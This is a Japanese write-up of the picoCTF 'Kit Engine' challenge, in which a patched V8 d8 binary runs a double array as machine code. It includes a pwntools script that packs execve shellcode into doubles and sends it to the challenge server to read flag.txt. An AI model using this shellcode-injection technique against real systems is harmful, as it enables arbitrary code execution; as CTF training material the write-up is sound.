picoCTF Kit Engine Writeup [Binary Exploitation]
Kit Engine
必要なファイルを一式ダウンロードして展開すると以下のようなファイルが確認できます。
ファイル一覧
. ├── d8 ├── server.py └── source ├── Dockerfile ├── REVISION ├── build.sh ├── compile.sh └── patch
server.py
が怪しそうなので中身を確認すると以下のようなコードになっていました。
server.py
#!/usr/bin/env python3 # With credit/inspiration to the v8 problem in downUnder CTF 2020 import os import subprocess import sys import tempfile def p(a): print(a, flush=True) MAX_SIZE = 20000 input_size = int(input("Provide size. Must be < 5k:")) if input_size >= MAX_SIZE: p(f"Received size of {input_size}, which is too big") sys.exit(-1) p(f"Provide script please!!") script_contents = sys.stdin.read(input_size) p(script_contents) # Don't buffer with tempfile.NamedTemporaryFile(buffering=0) as f: f.write(script_contents.encode("utf-8")) p("File written. Running. Timeout is 20s") res = subprocess.run(["./d8", f.name], timeout=20, stdout=subprocess.PIPE, stderr=subprocess.PIPE) p("Run Complete") p(f"Stdout {res.stdout}") p(f"Stderr {res.stderr}")
server.py
の動作を要約すると、以下のようになります。
- 標準入力から文字列を受け取り、
d8
に与えて実行
試しに、d8
を実行してみると以下のようにインタプリタが起動します。
$ ./d8 V8 version 9.1.0 (candidate) d8>
V8 version 9.1.0 (candidate)
という記述より、このプログラムがV8 JavaScript engineであることが分かります。
試しに、JavaScriptの文を入力してみると以下のようになります。
$ ./d8 V8 version 9.1.0 (candidate) d8> console.log("HELLO"); HELLO undefined d8>
source
ディレクトリの中のファイルを見るとd8
をビルドするための設定が記述されています。
Dockefile
の中にpatch
ファイルを用いてパッチを当てるような記述が存在します。
patch
ファイルを確認すると以下のようなコードが存在します。
void Shell::AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args) { Isolate* isolate = args.GetIsolate(); if(args.Length() != 1) { return; } double *func = (double *)mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (func == (double *)-1) { printf("Unable to allocate memory. Contact admin\n"); return; } if (args[0]->IsArray()) { Local<Array> arr = args[0].As<Array>(); Local<Value> element; for (uint32_t i = 0; i < arr->Length(); i++) { if (arr->Get(isolate->GetCurrentContext(), i).ToLocal(&element) && element->IsNumber()) { Local<Number> val = element.As<Number>(); func[i] = val->Value(); } } printf("Memory Dump. Watch your endianness!!:\n"); for (uint32_t i = 0; i < arr->Length(); i++) { printf("%d: float %f hex %lx\n", i, func[i], doubleToUint64_t(func[i])); } printf("Starting your engine!!\n"); void (*foo)() = (void(*)())func; foo(); } printf("Done\n"); }
上記のAssembleEngine
関数の動作を要約すると以下の通りです。
- 引数(
args
)としてdouble
型の配列を取得 args
をメモリ(func
)に配置func
を関数のバイナリであると解釈して実行
試しに、d8
を起動してAssembleEngine
と入力するとこの関数を呼び出せることが分かります。
$ ./d8 V8 version 9.1.0 (candidate) d8> AssembleEngine function AssembleEngine() { [native code] } d8> AssembleEngine([0.0]) Memory Dump. Watch your endianness!!: 0: float 0.000000 hex 0 Starting your engine!! Received signal 11 SEGV_MAPERR 000000000017 ==== C stack trace =============================== [0x56428fcd0cd7] [0x7f0b7147c3c0] [0x7f0b714c2000] [end of stack trace] Segmentation fault
上記のことから、バイナリをdouble
(JSだとnumber
)型の配列に変換し、AssembleEngine
関数に引数として与えてコールすれば任意のコードが実行できそうです。
そこで以下のコード(出典: picoCTF 2021 WriteUps | 廢文集中區)を利用し、execve("/bin/ls", ...)
やexecve("/bin/cat", ...)
のシェルコードをdouble
型配列に変換して、サーバに送信します。
from pwn import * import struct context.arch = "amd64" remote_port = 63943 def sc2dbls(sc): for i in range(0, len(sc), 8): blk = sc[i : i + 8] if len(blk) < 8: blk = blk + b"\0" * (8 - len(blk)) yield str(struct.unpack("<d", blk)[0]) def sc2js(sc): items = ", ".join(sc2dbls(sc)) assert not "nan" in items code = f"AssembleEngine([{items}])" return code def run_js_remote(code): p = remote("mercury.picoctf.net", remote_port) p.sendlineafter(b"Provide size", str(len(code))) p.sendlineafter(b"Provide script", code) return p.recvall().decode() ls = sc2js(asm(shellcraft.execve(b"/bin/ls", ["ls"]))) catflag = sc2js(asm(shellcraft.execve(b"/bin/cat", ["cat", "flag.txt"]))) print(run_js_remote(ls)) print(run_js_remote(catflag))
上記のプログラムのremote_port
を自分のものに合わせて実行するとFlagを獲得することができます。